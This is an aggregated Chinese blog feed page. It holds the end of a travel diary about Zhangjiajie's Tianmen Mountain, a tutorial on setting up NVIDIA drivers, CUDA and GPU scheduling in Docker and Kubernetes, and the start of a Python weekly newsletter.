溪流汇聚,一潭池水清澈如碧。池边休憩片刻,剩下的路途就是谷底平路了,修在山水之间,浮于水上又倚在山峦。远处瀑布在微风的作用下,水雾飘渺,让人很是惬意,一扫下山的疲倦。行走在水墨山水间,不觉脚步也轻快了不少。一路穿溪过崖,溪下群鱼跃,崖中百燕飞,山重水复终到栈道尽头却不是景区出口,还排着狭长的队伍,目光循着队伍,画舫船悠悠而来。众人上了船,穿上救护服坐定后,画舫船驶离了码头,电动船没了吱呀的摇橹声,只有船后的翻浪阵阵,水岸边野鸭游戏,湖中船摇水动,人心亦动。

10.jpg


傍晚时分,天空大变,阴沉沉压过了夕照霞光,路边的玉米须髯辄张,天上雷声轰隆,不时夹杂着几道闪电刺破这黑夜,前往庸城的路渐渐隐没在了暴雨中。等到了三十多公里外的城内火烧云却红透了半边天。在酒店安顿妥当,点了外卖吃过后早早也就睡了。


雾锁天门山,雾穿天门洞

天蒙蒙亮,小城就热闹开了,所住酒店离索道站不远,可以清楚的看到缆车上已经有游客上山了。赶紧催促着娘俩起床。洗漱妥当酒店吃过早饭就已经个把小时过去了。去天门山的索道站在张家界市中心,步行过去,时有吆喝小贩前来兜售雨衣鞋套。在检票门前,队伍蛇形冗长,走走停停,八九点的太阳真晒的厉害,密集的人群中汗味升腾,熏得的人昏胀不适。队伍中形色各异,见一拄着拐的耄耋老人,真真是朽木即腐,被人搀扶着,碎步挪移,不知图何。一女子从队伍中逐个前挤,一直走到队伍最前面,人之所到,皆有鄙夷,怎奈也无人硬拦。

上了缆车,我家三人,另有母女二人及一上山导游。索道在城市上空悬浮,在山峦间起降,低矮处贴着楼房,贴着树梢,高悬处挂在崖壁,挂在云端。足足半个小时,直接从城区直升山顶。轿厢中两孩子性别相同、年龄相仿,说话间就快成了要好的朋友。

天门山就是一个巨大的山顶平台,上面没有大的起伏上下台阶,环山顶一圈,可以顺时针走东线,或者逆时针走西线,最后殊途同归,在穿山电梯处下山去往天门洞。

山顶云雾缭绕,好似仙境,彼时浓雾未开,高阔的视野尽是一片茫茫,不见山,不见谷。我们顺着西线栈道行进。山谷底的大雾蒸腾而上,见状,顺手丢了片树叶,树叶不是缓缓而落,而是随着雾气翩翩而升。突然发现一直小山鼠,见人过来,飞速的从树枝上窜夺,一不小心掉了下万丈悬崖,这一幕把女儿逗乐了,一个劲的跟我说,爸爸看到没,老鼠跳崖自杀了。行进中,还发现山上有很多蚂蚱,只是不如我们常见的绿色,那种山石的土灰色,数量还不少,栈道护栏上就趴着好几只。我拿着手上的登山杖,一记桌球推杆,硬生生的将蚂蚱推下悬崖,奇怪的是这蚂蚱也没飞,就那么直直的掉了下去。女儿见模学样,把蚂蚱一个个的推了下去,这一路就这么玩乐不止。

11.jpg


再往前,又是玻璃栈道,还需要收费5元每人,提供一副鞋套。那山脚下兜售鞋套的果不然是骗子。一小段玻璃栈道后是鬼谷栈道,栈道护栏和山上密密麻麻的绑着红色祈福带,为了独树一帜,那些挂在树梢的、悬崖外两三丈远的,极尽能事。穿过悬索桥,有不明身份的人让看桥头的相机,还没反应过来,后面就嚷嚷开了,兄弟刚刚拍的照片要不要打印出来。呵,原来是摄影小贩,还是未经同意就拍照的,老婆正想去理论两句,见我们没啥兴趣,小贩就去招呼别人了。悬索桥的一头是一个补给点,一间小卖部,一个小亭子,不大的广场上摆满了桌椅。亭子中一个半遮面的小姐姐在弹古筝,旁边是收费点歌的牌子,没什么人点,小姐姐也不甚敬业。半个山快转下来了,浓雾才渐渐消散,近处可见对面山谷栈道上的游客,远处是隐隐约约山峦叠嶂。在一处深处悬崖的透明玻璃观景平台上,陆续有游客排队打卡拍照,轮到我们,马虎拍了几张照片就撤了出来。沿途几个命名的景点,也看不出个所以然来,倒是山谷间的互相对话饶有趣味,不免让我想起了三清山上那句天王盖地虎,如法炮制,对面却没传来小鸡炖蘑菇,一恍惚毕竟物不是人也非。

天门山顶,东西线正好在山背面中心位置完成交换,有个天门寺,大门紧闭,见有工人出入,大概是在维修,闭门谢客的状态,过了寺庙这里是一个颇大的休息点,除了小卖部,还有土产店和速食店。稍作休整,买了女儿要尝试的海洋味冰激凌,我们就紧赶着绕去东线了。

东线的景略有差异,大部分是在树林中穿过,横拦在路上的树杈免不了在它面前需要低头弯腰,大概是佛前山路自俯首吧。栈道上见到好几个做直播的博主,一番激情在那演说,只是言之无物,说的最多的就是给个关注点个赞之类的混账话。林中一个土家族装扮的老太,两三个手机架着在那直播卖银饰,娘俩对老太的银饰很感兴趣,左挑右看,不免买了几件。穿过这片丛林,一回头就可以看到翼装飞行的起点,旁边带团的导游说翼装飞行需要天时地利人和,想亲眼目睹翼装飞行表演全看运气。今天这大雾是绝无可能了。这里也是最后一个休息点了,如果山顶的路线全部游览完毕,就从这里坐电梯下山到天门洞去了。

12.jpg


这一个穿山电梯,建设者将山体掏空,架设七级自动扶梯,径直可以下到天门洞。这现代化的登山设施和这鬼斧神工的自然景观交错,有些光怪陆离。下到天门洞,面前是999级台阶,直下天门洞广场。正好和B线C线的游客相反,他们得从天门洞广场爬台阶上山。A线的可以走下山,也可以从旁边再花点钱继续做5级电梯下山。这台阶远处看只觉得高大雄伟。近处从上往下看,着实有点惊恐,一是台阶面太窄,窄的甚至无法放下一只脚,二是坡度极大,几十级台阶楞是大角度垂直向下,一边走一边腿脚打颤,反复招呼着小家伙要留心脚下,走慢点。好在整个台阶是分成两三段,在分段处会有个稍大的平台和缓坡处可供休息。台阶两边的山体,一边是瀑布飞流直下,声壮如钟。一边是穿山电梯,融入山体。下得台阶,仰视天门洞,惊叹于自然的神奇之作,回望上天梯,感概于人类的眇眇之身。敬一柱香,告之以虔诚,正见天门吐雾奇观,涤净凡心。

13.jpg


在天门洞广场,大屏上显示天门山所举办的各种极限赛事,除了翼装飞行,还有自行车速降、越野车挑战天门山天梯,高空走钢索,一幅幅视觉大片,一件件惊人之举。一直都说天梯999级,总想亲自考证一下,刚才下山忘了数。这会儿下山了又不忍错过这机会,只是腿伤让人犹决,老婆劝我算了,以后有机会再来。我看时间还早,她俩不想再上了,就让她们在这里等我。我兀自一人再行上山,一边上一边数,100、200还很轻松,越往后越是喘息不止。怕是数漏了台阶,加上喘的厉害,原本暗暗的数干脆张开嘴大声的数。旁边的游客好奇的朝我看着,一个调皮的小年轻,干脆随着我的喘息节律跟着一起喘,属实好气又好笑。600、700,眼见就要到山顶了,拽着护栏实在爬不动了,登山杖也不知道啥时候被杵坏了,休息间隔从200级慢慢降到30级一休息,最后50级台阶,一鼓作气冲上去,到顶后还有零散几级小台阶到洞底,我数了一下大概是891级台阶。上来后,两腿终于是不听使唤了,颤颤巍巍的缓坡都下不了,只得买票做电梯下山了。电梯门票是一张明信片,还是有邮资的那种,在天门洞广场集章处填了家里的地址丢进邮筒,10月末明信片在上海顺利回收。

14.jpg

15.jpg


在天门洞广场休憩完毕,经过一段栈道,就做索道下山了,C线快速索道约26人一个轿厢,一样是穿云跃峰,比A线要快了不少,没几分钟就下到山脚,山脚偌大一个天门狐仙剧场。也没看到演出时间表,顺着人流坐上回城区的中巴车。

到了站,不过下午4点,在张家界城区逛了逛,打个车也没目的的闲转,与出租车闲聊,问我们七十二奇楼是否去过,答否,便介绍我们去看看,也不远,晚上7点左右亮灯非常之漂亮。欣然前往,走着发现那不过是我们昨晚来时路过的地方,确是灯火璀璨。于是咨询司机附近有啥好吃的,载我们来到一家餐馆,点了最出名的三下锅和娃娃鱼外加小菜饮料。三下锅食不得其味,娃娃鱼食不得其金。勉强填饱肚子,又在街上逛了一圈,在一特产店与老板相聊甚欢,尝了张家界特有的莓茶、葛根酥,决定大包小包买了些这等土家风味带回去。


未成行的凤凰古城

买完特产就折返酒店了,天气预报说后两天大到暴雨,评估了下时间和机会成本,决定放弃前往凤凰古城,要么连夜200公里开外赶过去,要么明天一早过去,但回程时间既定,看不了凤凰的夜色,于是乎退了预订的凤凰酒店,决定第二天一早睡到自然醒后返回上海,凤凰古城和黄石寨下次再来了,留个念想,留个遗憾。一夜安睡,第二天风雨中出发,又是2000多里路,是夜抵沪。


by 西枫里 at December 04, 2023 03:00 PM

December 03, 2023

aneasystone

在 Kubernetes 中调度 GPU 资源

在人工智能越来越普及的今天,GPU 也变得越来越常见,无论是传统的机器学习和深度学习,还是现在火热的大语言模型和文生图模型,GPU 都是绕不开的话题。最近在工作中遇到一个需求,需要在 Kubernetes 中动态地调度和使用 GPU 资源,关于 GPU 这块一直是我的知识盲区,于是趁着业余时间恶补下相关的知识。

GPU 环境准备

学习 GPU 有一定的门槛,不仅是因为好点的显卡都价格不菲,而且使用它还要搭配有相应的硬件环境,虽然笔记本也可以通过显卡扩展坞来使用,但是性能有一定的损失。对于有条件的同学,网上有很多关于如何搭建自己的深度学习工作站的教程可供参考,对此我也没有什么经验,此处略过;对于没有条件的同学,网上也有很多白嫖 GPU 的攻略,我在 使用 Google Colab 体验 AI 绘画 这篇博客中也介绍了如何在 Google Colab 中免费使用 GPU 的方法;不过这些环境一般都是做机器学习相关的实验,如果想在上面做一些更底层的实验,比如安装 Docker,部署 Kubernetes 集群等,就不太合适了。

正在无奈之际,我突然想到了阿里云的云服务器 ECS 有一个按量付费的功能,于是便上去瞅了瞅,发现有一种规格叫 共享型 GPU 实例,4 核 CPU,8G 内存,显卡为 NVIDIA A10,显存 2G,虽然配置不高,但是足够我们做实验的了,价格也相当便宜,一个小时只要一块八:

aliyun-ecs.png

于是便抱着试一试的态度下了一单,然后开始了下面的实验。但是刚开始就遇到了问题,安装 NVIDIA 驱动的时候一直报 Unable to load the kernel module 'nvidia.ko' 这样的错误:

nvidia-driver-error.png

在网上搜了很多解决方案都没有解决,最后才在阿里云的产品文档中找到了答案:阿里云的 GPU 产品有 计算型虚拟化型 两种实例规格族,可以从它们的命名上进行区分,比如上面我买的这个实例规格为 ecs.sgn7i-vws-m2s.xlarge,其中 sgn 表示这是一台采用 NVIDIA GRID vGPU 加速的共享型实例,它和 vgn 一样,都属于虚拟化型,使用了 NVIDIA GRID 虚拟 GPU 技术,所以需要安装 GRID 驱动,具体步骤可以 参考这里;如果希望手工安装 NVIDIA 驱动,我们需要购买计算型的 GPU 实例。

阿里云的产品文档中有一篇 NVIDIA 驱动安装指引,我觉得整理的挺好,文档中对不同的规格、不同的使用场景、不同的操作系统都做了比较详情的介绍。

于是我重新下单,又买了一台规格为 ecs.gn5i-c2g1.large计算型 GPU 实例,2 核 CPU,8G 内存,显卡为 NVIDIA P4,显存 8G,价格一个小时八块多。

购买计算型实例纯粹是为了体验一下 NVIDIA 驱动的安装过程,如果只想进行后面的 Kubernetes 实验,直接使用虚拟化型实例也是可以的。另外,在购买计算型实例时可以选择自动安装 NVIDIA 驱动,对应版本的 CUDA 和 CUDNN 也会一并安装,使用还是很方便的。

安装 NVIDIA 驱动

登录刚买的服务器,我们可以通过 lspci 看到 NVIDIA 的这张显卡:

# lspci | grep NVIDIA
00:07.0 3D controller: NVIDIA Corporation GP104GL [Tesla P4] (rev a1)

此时这个显卡还不能直接使用,因为还需要安装 NVIDIA 的显卡驱动。访问 NVIDIA Driver Downloads,在这里选择你的显卡型号和操作系统并搜索:

nvidia-driver-download.png

从列表中可以看到驱动的不同版本,第一条是最新版本 535.129.03,我们点击链接进入下载页面并复制链接地址,然后使用下面的命令下载之:

# curl -LO https://us.download.nvidia.com/tesla/535.129.03/NVIDIA-Linux-x86_64-535.129.03.run

这个文件其实是一个可执行文件,直接运行即可:

# sh NVIDIA-Linux-x86_64-535.129.03.run

安装过程中会出现一些选项,保持默认即可,等待驱动安装成功后,运行 nvidia-smi 命令应该能看到显卡状态:

# nvidia-smi
Thu Nov 24 08:16:38 2023       
+---------------------------------------------------------------------------------------+
| NVIDIA-SMI 535.129.03             Driver Version: 535.129.03   CUDA Version: 12.2     |
|-----------------------------------------+----------------------+----------------------+
| GPU  Name                 Persistence-M | Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp   Perf          Pwr:Usage/Cap |         Memory-Usage | GPU-Util  Compute M. |
|                                         |                      |               MIG M. |
|=========================================+======================+======================|
|   0  Tesla P4                       Off | 00000000:00:07.0 Off |                    0 |
| N/A   41C    P0              23W /  75W |      0MiB /  7680MiB |      2%      Default |
|                                         |                      |                  N/A |
+-----------------------------------------+----------------------+----------------------+
                                                                                         
+---------------------------------------------------------------------------------------+
| Processes:                                                                            |
|  GPU   GI   CI        PID   Type   Process name                            GPU Memory |
|        ID   ID                                                             Usage      |
|=======================================================================================|
|  No running processes found                                                           |
+---------------------------------------------------------------------------------------+

安装 CUDA

CUDA(Compute Unified Device Architecture) 是 NVIDIA 推出的一种通用并行计算平台和编程模型,允许开发人员使用 C、C++ 等编程语言编写高性能计算应用程序,它利用 GPU 的并行计算能力解决复杂的计算问题,特别是在深度学习、科学计算、图形处理等领域。所以一般情况下,安装完 NVIDIA 驱动后,CUDA 也可以一并安装上。

在下载 NVIDIA 驱动时,每个驱动版本都对应了一个 CUDA 版本,比如上面我们在下载驱动版本 535.129.03 时可以看到,它对应的 CUDA 版本为 12.2,所以我们就按照这个版本号来安装。首先进入 CUDA Toolkit Archive 页面,这里列出了所有的 CUDA 版本:

cuda-download.png

找到 12.2 版本进入下载页面:

cuda-download-2.png

选择操作系统、架构、发行版本和安装类型,下面就会出现相应的下载地址和运行命令,按照提示在服务器中执行即可:

# wget https://developer.download.nvidia.com/compute/cuda/12.2.2/local_installers/cuda_12.2.2_535.104.05_linux.run
# sh cuda_12.2.2_535.104.05_linux.run

这个安装过程会比较长,当安装成功后,可以看到下面这样的信息:

===========
= Summary =
===========

Driver:   Installed
Toolkit:  Installed in /usr/local/cuda-12.2/

Please make sure that
 -   PATH includes /usr/local/cuda-12.2/bin
 -   LD_LIBRARY_PATH includes /usr/local/cuda-12.2/lib64, or, add /usr/local/cuda-12.2/lib64 to /etc/ld.so.conf and run ldconfig as root

To uninstall the CUDA Toolkit, run cuda-uninstaller in /usr/local/cuda-12.2/bin
To uninstall the NVIDIA Driver, run nvidia-uninstall
Logfile is /var/log/cuda-installer.log

在 Docker 容器中使用 GPU 资源

GPU 环境准备好之后,接下来我们先试着在 Docker 容器中使用它。由于是新买的系统,并没有 Docker 环境,所以我们要先安装 Docker,可以参考我之前写的 在 VirtualBox 上安装 Docker 服务 这篇博客。

安装完 Docker 之后,执行下面的命令确认版本:

# docker --version
Docker version 24.0.7, build afdd53b

然后执行下面的命令来测试下 GPU 是否可以在容器中使用:

# docker run --gpus all --rm centos:latest nvidia-smi
docker: Error response from daemon: could not select device driver "" with capabilities: [[gpu]].

可以看到命令执行报错了,稍微 Google 一下这个错就知道,想在 Docker 中使用 NVIDIA GPU 还必须安装 nvidia-container-runtime 运行时。

安装 nvidia-container-runtime 运行时

我们一般使用 NVIDIA Container Toolkit 来安装 nvidia-container-runtime 运行时,根据官方文档,首先将 nvidia-container-toolkit.repo 文件添加到 yum 的仓库目录 /etc/yum.repos.d 中:

# curl -s -L https://nvidia.github.io/libnvidia-container/stable/rpm/nvidia-container-toolkit.repo | \
    tee /etc/yum.repos.d/nvidia-container-toolkit.repo

也可以使用 yum-config-manager --add-repo 来添加:

# yum install -y yum-utils
# yum-config-manager --add-repo https://nvidia.github.io/libnvidia-container/stable/rpm/nvidia-container-toolkit.repo

然后使用 yum install 安装:

# yum install -y nvidia-container-toolkit

安装 NVIDIA Container Toolkit 之后,再使用下面的命令将 Docker 的运行时配置成 nvidia-container-runtime

# nvidia-ctk runtime configure --runtime=docker
INFO[0000] Config file does not exist; using empty config 
INFO[0000] Wrote updated config to /etc/docker/daemon.json 
INFO[0000] It is recommended that docker daemon be restarted.

这个命令的作用是修改 /etc/docker/daemon.json 配置文件:

# cat /etc/docker/daemon.json
{
    "runtimes": {
        "nvidia": {
            "args": [],
            "path": "nvidia-container-runtime"
        }
    }
}

按照提示,重启 Docker 服务:

# systemctl restart docker

在容器中使用 GPU 资源

配置完 nvidia-container-runtime 运行时之后,重新执行下面的命令:

# docker run --gpus all --rm centos:latest nvidia-smi
Sat Nov 25 02:31:58 2023       
+-----------------------------------------------------------------------------+
| NVIDIA-SMI 470.161.03   Driver Version: 470.161.03   CUDA Version: 11.4     |
|-------------------------------+----------------------+----------------------+
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|                               |                      |               MIG M. |
|===============================+======================+======================|
|   0  NVIDIA A10-2Q       On   | 00000000:00:07.0 Off |                  N/A |
| N/A   N/A    P0    N/A /  N/A |     64MiB /  1889MiB |      0%      Default |
|                               |                      |                  N/A |
+-------------------------------+----------------------+----------------------+
                                                                               
+-----------------------------------------------------------------------------+
| Processes:                                                                  |
|  GPU   GI   CI        PID   Type   Process name                  GPU Memory |
|        ID   ID                                                   Usage      |
|=============================================================================|
|  No running processes found                                                 |
+-----------------------------------------------------------------------------+

此时我换成了一台共享型 GPU 实例,所以显示的是 A10,驱动版本和 CUDA 版本要低一点,命令的输出表明我们在容器中已经可以访问 GPU 资源了。值得注意的是,我们运行的 centos:latest 镜像里本来是没有 nvidia-smi 命令的:

# docker run --rm centos:latest nvidia-smi
exec: "nvidia-smi": executable file not found in $PATH: unknown.

但是加上 --gpus all 参数之后就有这个命令了,真是神奇。

使用 --gpus all 参数可以让容器内访问宿主机上的所有显卡,也可以指定某张卡在容器中使用:

# docker run --gpus 1 --rm centos:latest nvidia-smi

或者这样:

# docker run --gpus 'device=0' --rm centos:latest nvidia-smi

接下来,我们再利用 tensorflow 的镜像来测试下是否可以在程序中使用 GPU 资源:

# docker run --rm -it --gpus all tensorflow/tensorflow:2.6.0-gpu bash
root@bacd1c7c8b6c:/# python3
Python 3.6.9 (default, Jan 26 2021, 15:33:00) 
[GCC 8.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>>

在使用 tensorflow 镜像时要注意与 CUDA 版本的兼容性,这里 有一份 tensorflow 版本和 CUDA 版本之间的对应关系,如果不兼容,会出现如下的报错:

# docker run --rm -it --gpus all tensorflow/tensorflow:latest-gpu bash
nvidia-container-cli: requirement error: unsatisfied condition: cuda>=12.3, please update your driver to a newer version, or use an earlier cuda container: unknown.

然后使用一段简单的 Python 代码来测试 GPU 功能:

>>> import tensorflow as tf
>>> print(tf.test.gpu_device_name())

如果一切正常,就会打印出 GPU 的设备名称:

/device:GPU:0

Docker 19.03 之前

上面介绍的 --gpus 参数是在 Docker 19.03 版本之后才引入了,在 Docker 19.03 之前,我们也有几种方式来使用 GPU,第一种也是最原始的方式,通过 --device 参数将显卡设备挂载到容器里:

# docker run --rm -it \
    --device /dev/nvidia0:/dev/nvidia0 \
    --device /dev/nvidiactl:/dev/nvidiactl \
    --device /dev/nvidia-uvm:/dev/nvidia-uvm \
    tensorflow/tensorflow:2.6.0-gpu bash

第二种是使用英伟达公司开发的 nvidia-docker 工具,这个工具对 docker 进行了一层封装,使得在容器中也可以访问 GPU 资源,它在使用上和 docker 几乎完全一样:

# nvidia-docker run --rm -it tensorflow/tensorflow:2.6.0-gpu bash

nvidia-docker 有两个版本:nvidia-dockernvidia-docker2。nvidia-docker 是一个独立的守护进程,它以 Volume Plugin 的形式存在,它与 Docker 生态系统的兼容性较差,比如它和 docker-compose、docker swarm、Kubernetes 都不能很好地一起工作,因此很快被废弃。随后,官方推出了 nvidia-docker2,它不再是 Volume Plugin,而是作为一个 Docker Runtime,实现机制上的差异,带来了巨大改进,从而和 Docker 生态实现了更好的兼容性,使用上也完全兼容 docker 命令,加一个 --runtime=nvidia 参数即可:

# docker run --rm -it --runtime=nvidia tensorflow/tensorflow:2.6.0-gpu bash

然而,随着 Docker 19.03 版本的发布,NVIDIA GPU 作为 Docker Runtime 中的设备得到了官方支持,因此 nvidia-docker2 目前也已经被弃用了。

在 Kubernetes 中调度 GPU 资源

终于到了这篇博客的主题,接下来我们实践一下如何在 Kubernetes 集群中调度 GPU 资源。和 Docker 一样,新买的服务器上也没有 Kubernetes 环境,我们需要先安装 Kubernetes,可以参考我之前写的 Kubernetes 安装小记 这篇博客。

我们知道,Kubernetes 具有对机器的资源进行分配和使用的能力,比如可以指定容器最多使用多少内存以及使用多少 CPU 计算资源,同样,我们也可以指定容器使用多少 GPU 资源,但在这之前,我们需要先安装 nvidia-container-runtime 运行时,以及 NVIDIA 的设备插件。

安装 nvidia-container-runtime 运行时

通过上面的学习,我们通过安装 nvidia-container-runtime 运行时,在 Docker 容器中访问了 GPU 设备,在 Kubernetes 中调度 GPU 资源同样也需要安装这个 nvidia-container-runtime。如果 Kubernetes 使用的容器运行时是 Docker,直接参考上面的章节进行安装配置即可;但 Kubernetes 从 1.24 版本开始,改用 containerd 作为容器运行时,为了在 containerd 容器中使用 NVIDIA 的 GPU 设备,配置步骤稍微有些区别。

首先我们还是先安装 NVIDIA Container Toolkit,然后通过下面的命令将 nvidia-container-runtime 加入 containerd 的运行时列表中:

# nvidia-ctk runtime configure --runtime=containerd

这个命令实际上是对 containerd 的配置文件 /etc/containerd/config.toml 进行修改,内容如下:

    [plugins."io.containerd.grpc.v1.cri".containerd]
      default_runtime_name = "runc"
      snapshotter = "overlayfs"

      [plugins."io.containerd.grpc.v1.cri".containerd.runtimes]

        [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.nvidia]
          runtime_engine = ""
          runtime_root = ""
          runtime_type = "io.containerd.runc.v2"

          [plugins."io.containerd.grpc.v1.cri".containerd.runtimes.nvidia.options]
            BinaryName = "/usr/bin/nvidia-container-runtime"
            SystemdCgroup = true

注意这个命令并不会修改 default_runtime_name 配置,我们需要手动将这个值修改为 nvidia:

      default_runtime_name = "nvidia"

然后重启 containerd 服务:

# systemctl restart containerd

安装 NVIDIA 设备插件

接下来,我们继续安装 NVIDIA 设备插件设备插件(Device Plugins) 是 Kubernetes 用于管理和调度容器中设备资源的一种插件机制,它可以将物理设备(如 GPU、FPGA 等)暴露给容器,从而提供更高级别的资源管理和调度能力。

通过下面的命令将 NVIDIA 设备插件部署到集群中:

# kubectl create -f https://raw.githubusercontent.com/NVIDIA/k8s-device-plugin/v0.14.3/nvidia-device-plugin.yml
daemonset.apps/nvidia-device-plugin-daemonset created

从运行结果可以看出,设备插件本质上是一个 DaemonSet,运行 kubectl get daemonset 命令查看其是否启动成功:

# kubectl get daemonset -n kube-system
NAME                             DESIRED   CURRENT   READY   UP-TO-DATE   AVAILABLE   NODE SELECTOR            AGE
kube-proxy                       1         1         1       1            1           kubernetes.io/os=linux   90m
nvidia-device-plugin-daemonset   1         1         1       1            1           <none>                   43s

运行 kubectl logs 命令查看其启动日志:

# kubectl logs nvidia-device-plugin-daemonset-s97vk -n kube-system
I1126 04:46:34.020261       1 main.go:154] Starting FS watcher.
I1126 04:46:34.020321       1 main.go:161] Starting OS watcher.
I1126 04:46:34.020578       1 main.go:176] Starting Plugins.
I1126 04:46:34.020591       1 main.go:234] Loading configuration.
I1126 04:46:34.020668       1 main.go:242] Updating config with default resource matching patterns.
I1126 04:46:34.020829       1 main.go:253] 
Running with config:
{
  "version": "v1",
  "flags": {
    "migStrategy": "none",
    "failOnInitError": false,
    "nvidiaDriverRoot": "/",
    "gdsEnabled": false,
    "mofedEnabled": false,
    "plugin": {
      "passDeviceSpecs": false,
      "deviceListStrategy": [
        "envvar"
      ],
      "deviceIDStrategy": "uuid",
      "cdiAnnotationPrefix": "cdi.k8s.io/",
      "nvidiaCTKPath": "/usr/bin/nvidia-ctk",
      "containerDriverRoot": "/driver-root"
    }
  },
  "resources": {
    "gpus": [
      {
        "pattern": "*",
        "name": "nvidia.com/gpu"
      }
    ]
  },
  "sharing": {
    "timeSlicing": {}
  }
}
I1126 04:46:34.020840       1 main.go:256] Retreiving plugins.
I1126 04:46:34.021064       1 factory.go:107] Detected NVML platform: found NVML library
I1126 04:46:34.021090       1 factory.go:107] Detected non-Tegra platform: /sys/devices/soc0/family file not found
I1126 04:46:34.032304       1 server.go:165] Starting GRPC server for 'nvidia.com/gpu'
I1126 04:46:34.033008       1 server.go:117] Starting to serve 'nvidia.com/gpu' on /var/lib/kubelet/device-plugins/nvidia-gpu.sock
I1126 04:46:34.037402       1 server.go:125] Registered device plugin for 'nvidia.com/gpu' with Kubelet

如果看到日志显示 Registered device plugin for 'nvidia.com/gpu' with Kubelet,表示 NVIDIA 设备插件已经安装成功了。此时,我们也可以在 kubelet 的设备插件目录下看到 NVIDIA GPU 的 socket 文件:

# ll /var/lib/kubelet/device-plugins/ | grep nvidia-gpu.sock

但是安装也不一定是一帆风顺的,如果看到下面这样的日志:

I1126 04:34:05.352152       1 main.go:256] Retreiving plugins.
W1126 04:34:05.352505       1 factory.go:31] No valid resources detected, creating a null CDI handler
I1126 04:34:05.352539       1 factory.go:107] Detected non-NVML platform: could not load NVML library: libnvidia-ml.so.1: cannot open shared object file: No such file or directory
I1126 04:34:05.352569       1 factory.go:107] Detected non-Tegra platform: /sys/devices/soc0/family file not found
E1126 04:34:05.352573       1 factory.go:115] Incompatible platform detected
E1126 04:34:05.352576       1 factory.go:116] If this is a GPU node, did you configure the NVIDIA Container Toolkit?
E1126 04:34:05.352578       1 factory.go:117] You can check the prerequisites at: https://github.com/NVIDIA/k8s-device-plugin#prerequisites
E1126 04:34:05.352582       1 factory.go:118] You can learn how to set the runtime at: https://github.com/NVIDIA/k8s-device-plugin#quick-start
E1126 04:34:05.352585       1 factory.go:119] If this is not a GPU node, you should set up a toleration or nodeSelector to only deploy this plugin on GPU nodes
I1126 04:34:05.352590       1 main.go:287] No devices found. Waiting indefinitely.

表示没有找到 NVIDIA 设备,请检查显卡驱动是否安装,或者 containerd 的配置是否正确。

调度 GPU 资源

接下来,我们创建一个测试文件:

# vi gpu-test.yaml

文件内容如下:

apiVersion: v1
kind: Pod
metadata:
  name: gpu-test
spec:
  restartPolicy: OnFailure
  containers:
    - name: gpu-test
      image: tensorflow/tensorflow:2.6.0-gpu
      command:
        - python3
        - /app/test.py
      volumeMounts:
        - name: gpu-test-script
          mountPath: /app/
      resources:
        limits:
          nvidia.com/gpu: 1
  volumes:
    - name: gpu-test-script
      configMap:
        name: gpu-test-script
---
apiVersion: v1
kind: ConfigMap
metadata:
  name: gpu-test-script
data:
  test.py: |
    import tensorflow as tf
    print(tf.test.gpu_device_name())

这里我们仍然使用 tensorflow/tensorflow:2.6.0-gpu 这个镜像来测试 GPU 功能,我们通过 ConfigMap 将一段 Python 测试脚本挂载到容器中并运行,另外通过 resources.limits.nvidia.com/gpu: 1 这样的配置告诉 Kubernetes,容器的运行需要使用一张 GPU 显卡资源,Kubernetes 会自动根据 NVIDIA 设备插件汇报的情况找到符合条件的节点,然后在该节点上启动 Pod,启动 Pod 时,由于 containerd 的默认运行时是 nvidia-container-runtime,所以会将 NVIDIA GPU 挂载到容器中。

运行 kubectl apply 命令创建 Pod 和 ConfigMap:

# kubectl apply -f gpu-test.yaml
pod/gpu-test created
configmap/gpu-test-script created

运行 kubectl get pods 命令查看 Pod 的运行状态:

# kubectl get pods
NAME       READY   STATUS             RESTARTS      AGE
gpu-test   0/1     Pending            0             5s

如果像上面这样一直处理 Pending 状态,可以运行 kubectl describe pod 命令查看 Pod 的详细情况:

# kubectl describe pod gpu-test
Name:             gpu-test
Namespace:        default
Priority:         0
Service Account:  default
...
Events:
  Type     Reason            Age   From               Message
  ----     ------            ----  ----               -------
  Warning  FailedScheduling  19s   default-scheduler  0/1 nodes are available: 1 Insufficient nvidia.com/gpu. preemption: 0/1 nodes are available: 1 No preemption victims found for incoming pod.

出现上面这样的情况可能有两种原因:

  1. 显卡资源已经被其他 Pod 所占用,默认情况下 NVIDIA 设备插件只支持卡级别的调度,并且显卡资源是独占的,我的这台服务器上只有一张显卡,如果已经有 Pod 占用了一张卡,那么其他的 Pod 就不能再使用该卡了;如果希望多个 Pod 共享一张卡,可以参考官方文档中的 Shared Access to GPUs with CUDA Time-Slicing
  2. NVIDIA 设备插件未成功安装,请参考上面的章节确认 NVIDIA 设备插件已经成功启动。

如果一切正常,Pod 的状态应该是 Completed:

# kubectl get pods
NAME       READY   STATUS      RESTARTS   AGE
gpu-test   0/1     Completed   0          7s

运行 kubectl logs 命令查看 Pod 日志:

# kubectl logs gpu-test
2023-11-26 05:05:14.779693: I tensorflow/core/platform/cpu_feature_guard.cc:142] This TensorFlow binary is optimized with oneAPI Deep Neural Network Library (oneDNN) to use the following CPU instructions in performance-critical operations:  AVX2 AVX512F FMA
To enable them in other operations, rebuild TensorFlow with the appropriate compiler flags.
2023-11-26 05:05:16.508041: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:937] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero
2023-11-26 05:05:16.508166: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1510] Created device /device:GPU:0 with 1218 MB memory:  -> device: 0, name: NVIDIA A10-2Q, pci bus id: 0000:00:07.0, compute capability: 8.6
/device:GPU:0

可以看到脚本成功打印出了 GPU 的设备名称,说明现在我们已经可以在 Kubernetes 中使用 GPU 资源了。

参考

更多

监控 GPU 资源的使用

设备插件原理

扫描二维码,在手机上阅读!

by aneasystone at December 03, 2023 08:21 AM

December 02, 2023

pythoncat

Python 潮流周刊#29:Rust 会比 Python 慢?!

你好,我是猫哥。这里每周分享优质的 Python、AI 及通用技术内容,大部分为英文。本周刊开源,欢迎投稿。另有电报频道作为副刊,补充发布更加丰富的资讯。

🐱产品推荐

FlowUs 息流是新一代知识管理与协作平台,支持云文档、多维表、文件夹、团队空间,提供 100+ 模板,可用于管理笔记、安排计划、文档协作、制作个人主页等。猫哥邀请你一起使用 FlowUs 提升个人生产力:https://flowus.cn/login?code=MX4369

🦄文章&教程

